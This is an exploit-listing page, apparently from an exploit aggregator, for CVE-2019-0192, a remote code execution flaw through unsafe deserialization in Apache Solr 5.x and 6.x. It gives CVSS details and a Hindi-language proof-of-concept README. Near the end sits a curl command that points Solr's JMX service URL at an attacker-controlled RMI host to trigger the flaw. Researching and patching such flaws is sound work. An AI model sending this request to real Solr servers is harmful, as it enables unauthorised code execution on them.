Exploit for CVE-2019-0192

kitploit · 2026-08-25

Description

RCE in Apache Solr 5.0.0-5.5.5 and 6.0.0-6.6.5 via unsafe deserialization in ConfigAPI JMX.

Affected Apache Solr versions

Apache Solr≤ 5.5.5, 6.6.5

All known vulnerabilities by product

Apache Solr

CVSS 9.8 for CVE-2019-0192

9.8

HIGH SEVERITY

Version 3.0

VectorCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

CVE Information

CVE-2019-0192

Exploit Details

Modified:2026-08-25 11:21

Last Seen:2026-08-26 07:25

Reporter:KitPloit

Other exploits for CVE-2019-0192

Solr-RCE-CVE-2019-0192

2026-08-26 KitPloitKITPLOIT

Exploit for Deserialization of Untrusted Data in Apache Solr

2019-11-01 RapidsafeguardGITHUB

Exploit Code

MARKDOWN31 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MPGN-CVE-2019-0192
# CVE-2019-0192 - Apache Solr RCE 5.0.0 से 5.5.5 और 6.0.0 से 6.6.5

_यह Apache Solr RCE का एक प्रारंभिक PoC है_

स्रोत: https://issues.apache.org/jira/browse/SOLR-13301:

> ConfigAPI, HTTP POST अनुरोध के माध्यम से Solr के JMX सर्वर को कॉन्फ़िगर करने की अनुमति देता है। इसे एक दुर्भावनापूर्ण RMI सर्वर की ओर इंगित करके, एक हमलावर Solr की असुरक्षित deserialization का लाभ उठाकर Solr पक्ष पर रिमोट कोड निष्पादन (remote code execution) ट्रिगर कर सकता है।

### प्रूफ ऑफ कॉन्सेप्ट

![image](https://assets.kitploit.com/production/public/readmes/29522/b66dc952d49367c249bee5eba21482bbe3b70296b1c905a3b0796877a1ed08d7.png)

* * *

सुरक्षा सलाह (security advisory) के विवरण को देखकर और **ConfigAPI** Apache Solr के संसाधनों की जाँच करके, हम एक JMX सर्वर का संदर्भ पा सकते हैं:

![image](https://assets.kitploit.com/production/public/readmes/29522/19dd1343997c6833ff0057e3ba2faa9329616d33ac611110d8c675ceee2c8262.png)

> **serviceUrl** \- (वैकल्पिक str) JMX सर्वर के लिए सेवा URL। यदि निर्दिष्ट नहीं है तो डिफ़ॉल्ट प्लेटफ़ॉर्म MBean सर्वर का उपयोग किया जाएगा।

ConfigAPI कैसे काम करता है यह जाँच कर हम रिमोट JMX सर्वर सेट करने का तरीका दोहरा सकते हैं:

root@kitploit:~
    
    
    curl -i -s -k  -X $'POST' \
        -H $'Host: 127.0.0.1:8983' \
        -H $'Content-Type: application/json' \
        --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
        $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

Exploit Code

Share

Share on social media: